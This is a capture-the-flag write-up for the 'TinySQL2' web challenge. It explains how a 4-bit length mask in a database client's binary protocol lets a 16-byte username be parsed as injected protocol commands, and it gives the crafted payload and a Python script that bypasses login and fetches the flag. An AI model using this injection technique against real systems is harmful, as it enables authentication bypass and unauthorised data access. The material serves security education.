Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
BatmansKitchenCTF/Writeup TinySQL2.en.md READ_ONLY

TinySQL2

Challenge Data

Field Value
CTF Batman's Kitchen CTF
Challenge TinySQL2
Category Web / Protocol
Context "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS"
Flag bkctf{sql_1nj3ct10n_0ver_th3_w1re}

Challenge Description

The login used prepared statements, but the bug was not in the SQL layer. The real issue was in how the client encoded bind values inside the binary protocol it used to talk to TinySQL.


Reconnaissance

The web application was Flask and the flag ended up at /forum/post/3, which required a valid session. Looking at the login code, it used something like this.

conn.prepare("S:?:?", (user, pass))

That ruled out a classic SQL injection, so the TinySQL client and server had to be inspected more closely.

The protocol itself was very simple. Each message carried one byte for type, one byte for length, and then the data. The important commands were these.

Type Purpose
p prepare statement
b send bind
x execute

The normal login flow looked like this.

  1. Prepare S:?:?
  2. Send user
  3. Send pass
  4. Execute

Up to that point nothing looked unusual. The strange part appeared when checking how bind values were serialized.


Analysis

The broken piece was in the client, specifically in the length field of each bind.

STMT_SIZE_MASK = 0x0F
barr.append(len(i) & self.STMT_SIZE_MASK)

That meant the real length was truncated to 4 bits. In practice, any 16 byte string ended up being sent with length 0.

  • The server received the b command.
  • It read length 0.
  • It consumed none of the real data bytes.
  • The 16 bytes of the username stayed pending in the socket.

On the next loop iteration, those 16 bytes were no longer interpreted as user data. They were treated as new protocol commands. That was the actual bug. Not SQL injection, but protocol injection.

On top of that, the server cleared binds when it already had 2 values and another bind arrived, so the internal state could also be shaped so that execute would finally use only the value we wanted.


Solution

Those 16 bytes of the username were used to reconfigure the flow before the backend processed the real password.

The string used was this.

username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"

That 16 byte block did the following.

  1. It re prepared the statement as S:?, so the lookup became ID based instead of username and password based.
  2. It sent several filler binds to leave the internal array in a controlled state.
  3. When the legitimate password arrived, the server cleared the previous binds and kept only ["0"].

When execution finally happened, TinySQL interpreted that 0 as userId, returned the corresponding user record, and the web application created the session.

With the session active, the only thing left was to request the post containing the flag.

import re
import requests

TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"

session = requests.Session()
session.post(
    f"{TARGET}/login",
    data={
        "user": "p\x03S:?b\x03ABCb\x01Db\x01E",
        "pass": "0",
    },
    allow_redirects=False,
)

resp = session.get(f"{TARGET}/forum/post/3")
print(re.search(r"bkctf\\{[^}]+\\}", resp.text).group(0))

That logged in as a valid user and the flag appeared in the response.


Flag

bkctf{sql_1nj3ct10n_0ver_th3_w1re}